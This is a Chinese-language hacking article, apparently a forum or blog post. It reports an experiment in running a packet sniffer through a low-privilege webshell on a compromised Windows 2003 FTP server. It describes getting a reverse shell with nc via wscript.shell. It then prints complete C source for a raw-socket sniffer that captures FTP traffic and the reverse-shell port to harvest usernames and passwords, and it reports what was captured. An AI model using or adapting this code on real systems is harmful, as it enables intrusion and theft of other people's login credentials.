基于Webshell的sniffer可行性研究

发表于:2007-06-23来源:作者:点击数: 标签:
前言: 幻影Mix修改的flashsky的那个端口复用下的嗅探serv-u,经 测试 ,不能用于win2003服务器中,具体我也不知道,不知道是不是操作有识,反正我是没成功过. 我自己构造了一个环境试了一下,嗅探程序是自己写的,利用raw进行嗅探,如果要arp的话,要装那个wincap,想

   

前言:

幻影Mix修改的flashsky的那个端口复用下的嗅探serv-u,经测试,不能用于win2003服务器中,具体我也不知道,不知道是不是操作有识,反正我是没成功过.

我自己构造了一个环境试了一下,嗅探程序是自己写的,利用raw进行嗅探,如果要arp的话,要装那个wincap,想一想那么低的权限是不可能的.

实验环境:

Windows2003服务器+海洋2006+serv-u5.2

服务器不能直接使用cmd.exe,但可以上传后利用wscript.shell组件执行命令.

实验步骤:

1.利用wcript.shell执行nc 反弹得到shell

基于Webshell的sniffer可行性研究(图一)

screen.width-461) window.open('/news/UploadFiles_9994/200601/20060115021853730.jpg');">

2.利用自编写工具进行嗅探(我只嗅探21和9001,其中21为ftp,9001为反弹端口)

CODE:
/*------------------------------------------------------

*file:   SnifferFtp.c

*Effect: 用于在webshell进行嗅探实验之用,基于Raw

*Code:   Huai_Huai

*Page:   Http://hhuai.cn

*Date:   2006.1.12

*-----------------------------------------------------*/

#include

#include    

#include "Winsock2.h"

#pragma comment(lib,"WS2_32.lib")

#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)

#define STATUS_FAILED 0xFFFF

#define MAX_PACK_LEN 65535

#define MAX_ADDR_LEN 16

#define MAX_HOSTNAME_LEN 255

//定义ip报头

typedef struct _iphdr

{

byte ver_len;     //版本4位,头长度4位,报头长度以32位为一个单位

byte type;         //类型8位

byte length[2];     //总长度,16位,指出报文的以字节为单位的总长度

//报文长度不能超过65536个字接,否则认为报文遭到破坏

byte id[2];         //报文标示,用于多于一个报文16位

byte flag_offset[2];//标志,3位   数据块偏移13位

byte time;         //生存时间,8位

byte protocol;     //协议,8位

byte crc_val[2];   //头校验和,16位

byte src_addr[4];   //源地址,32位

byte tar_addr[4];   //目标地址,32位

byte options[4];   //选项和填充,32位

}IP_HEADER;

typedef struct _tcphdr

{

byte source_port[2]; //发送端端口号,16位

byte dest_port[2];   //接收端端口号,16位

byte sequence_no[4]; //32位,标示消息端的数据位于全体数据块的某一字节的数字

byte ack_no[4];       //32位,确认号,标示接收端对于发送端接收到数据块数值

unsigned char offset_reser_con;//数据偏移4位,预留6位,控制位6为

unsigned char th_flag;

byte window[2];         //窗口16位

byte checksum[2];     //校验码,16位

byte urgen_pointer[2];   //16位,紧急数据指针

byte options[3];     //选祥和填充,32位

}TCP_HEADER;

#define PROTOCOL_ICMP         1   //传输控制协议

#define PROTOCOL_GTG         3   //Gateway-to-Gateway      

#define PROTOCOL_CGMM         4   //CMCC Gateway Monitoring Message

#define PROTOCOL_ST           5   //ST

#define PROTOCOL_TCP         6   //传输控制协议      

#define PROTOCOL_UCL         7   //UCL

#define PROTOCOL_SECURE         9   //secure

#define PROTOCOL_BRM         10   //BBN RCC Monitoring

#define PROTOCOL_NVP         11   //NVp

#define PROTOCOL_PUP         12   //PUP

#define PROTOCOL_PLURIBUS     13 //Pluribus    

#define PROTOCOL_TELENET     14   //Telenet      

#define PROTOCOL_XNET         15   //XNET

#define PROTOCOL_CHAOS         16   //Chaos

#define PROTOCOL_UDP         17   //UDP

#define PROTOCOL_MULTIPLEXING   18   //Multiplexing      

#define PROTOCOL_DCN         19   //DCN      

#define PROTOCOL_TAC_MONITORING   20   //TAC Monitoring

#define PROTOCOL_ALN         63   //any local network

#define PROTOCOL_SATNET         64   //SATNET and Backroom EXPAK

#define PROTOCOL_MITSS         65   //MIT Subnet Support

#define PROTOCOL_SATNET_MONIT   69   //SATNET Monitoring

#define PROTOCOL_IPCU         71   //Internet Packet Core Utility

#define PROTOCOL_BK_SATNET_MONI 76   //Backroom SATNET Monitoring

#define PROTOCOL_WIDEBAND_MONI   78   //WIDEBAND Monitoring

#define PROTOCOL_WIDEBAND_EXPAK   79   //WIDEBAND EXPAK

SOCKET SocketRaw;

void startsniffer()

{

char RecvBuf[MAX_PACK_LEN]={0};

char FAR name[MAX_HOSTNAME_LEN];

WSADATA wsa;

struct hostent FAR* pHostent;

SOCKADDR_IN sa;

DWORD OutBuffer[10];

DWORD InBuffer=1;

DWORD BytesReturned=0;



if(WSAStartup(MAKEWORD(2,2),&wsa)!=0)

{

  printf("不能加载Winsock DLL!");

  exit(0);

}

SocketRaw=socket(AF_INET,SOCK_RAW,IPPROTO_IP);

if(SocketRaw==INVALID_SOCKET)

{

  printf("不能创建Socket!");

  exit(0);

}





gethostname(name,MAX_HOSTNAME_LEN);



//这里会自动分配内存

pHostent=gethostbyname(name);



sa.sin_family=AF_INET;

sa.sin_port=htons(6000);

memcpy(&sa.sin_addr.S_un.S_addr,pHostent->h_addr_list[0],

pHostent->h_length);

if(bind(SocketRaw,(PSOCKADDR)&sa,sizeof(sa))!=0)

{

  printf("不能绑定网卡!");

  closesocket(SocketRaw);

  exit(0);

}







if(WSAIoctl(SocketRaw,SIO_RCVALL,&InBuffer,sizeof(InBuffer),

  &OutBuffer,sizeof(OutBuffer),&BytesReturned,NULL,NULL)!=0)

{

  printf("不能创建WSAIoctl!");

  closesocket(SocketRaw);

  exit(0);

}



}

int ReceiveBuf(byte* buf,int len)

{

return recv(SocketRaw,(char *)buf,len,0);

}

void main()

{

int len;  

byte RecvBuf[65535];

char buf[16];

int iphdr_len;

TCP_HEADER* pTcpHeader;

unsigned __int16 src_port;

unsigned __int16 dest_port;

int HdrLen;

__int16 datalen;

IP_HEADER* pIpheader;

int port1,port2;



startsniffer();  

while(TRUE)

{

  port1=port2=0;

  memset(RecvBuf,0,65535);

  len=ReceiveBuf(RecvBuf,65535);

  if(len>0)

  {

     

      pIpheader=(IP_HEADER*)RecvBuf;

      /*

      switch(pIpheader->protocol)

      {

      case PROTOCOL_ICMP:

      printf("ICMP");

      break;

      case PROTOCOL_TCP:

      printf("TCP");

      break;

      case PROTOCOL_UDP:

      printf("UDP");

      break;

      default:

      printf("其他协议");

      break;

      }

      */

     

     

     

      if(pIpheader->protocol==PROTOCOL_TCP)

      {

        iphdr_len=(pIpheader->ver_len&0xf)*4;

        pTcpHeader=(TCP_HEADER*)(RecvBuf+iphdr_len);

        src_port=pTcpHeader->source_port[0]

*0x100+pTcpHeader->source_port[1];

        dest_port=pTcpHeader->dest_port[0]

*0x100+pTcpHeader->dest_port[1];

       

        memset(buf,0,16);

        sprintf(buf,"%d",src_port);

        port1=src_port;

        //printf("%s ",buf);

       

        memset(buf,0,16);

        sprintf(buf,"%d",dest_port);

        port2=dest_port;

        //printf("%s ",buf);

       

        if(port1==21 || port2==21 || port1==9001 || port2==9001)

        {

          HdrLen=(pTcpHeader->offset_reser_con)>>2;

          memset(buf,0,16);

          sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);

          //printf("%s ",buf);

         

          memset(buf,0,16);

          sprintf(buf,"%d.%d.%d.%d",pIpheader->src_addr[0],

pIpheader->src_addr[1],pIpheader->src_addr[2],

pIpheader->src_addr[3]);

          //printf("%s ",buf);

         

          memset(buf,0,16);

          sprintf(buf,"%d.%d.%d.%d",pIpheader->tar_addr[0],

pIpheader->tar_addr[1],pIpheader->tar_addr[2],

pIpheader->tar_addr[3]);

          //printf("%s ",buf);

         

          datalen=pIpheader->length[0]

*0x100+pIpheader->length[1];

          memset(buf,0,16);

          sprintf(buf,"%d",datalen);

          //printf("%s ",buf);

         

          HdrLen=(pTcpHeader->offset_reser_con)>>2;

          memset(buf,0,16);

          sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);            

          printf("%s",buf);

          //printf("\n");              

        }

    }

  }

 

}

}


3.嗅探结果:

基于Webshell的sniffer可行性研究(图二)
(点击查看原图)
screen.width-461) window.open('/news/UploadFiles_9994/200601/20060115021859143.jpg');">

4.实验小结:

确实可以嗅到一些信息,在本机winxp sp2可以嗅到ftp密码,但在win2003服务器上运行,就只能嗅到用户名,利用webshell执行的也可以嗅到用户名,一些操作,比如用户目录什么的.

我们的webshell权限可以非常的低,只要能利用wscript.shell就行.

其中有许多细节,需以后仔细的研究,万望论坛的高手能给予一点提示.

5.作者联系方式:

MSN: xiaoaina@hotmail.com

Blog: http://hhuai.cn

原文转自:http://www.ltesting.net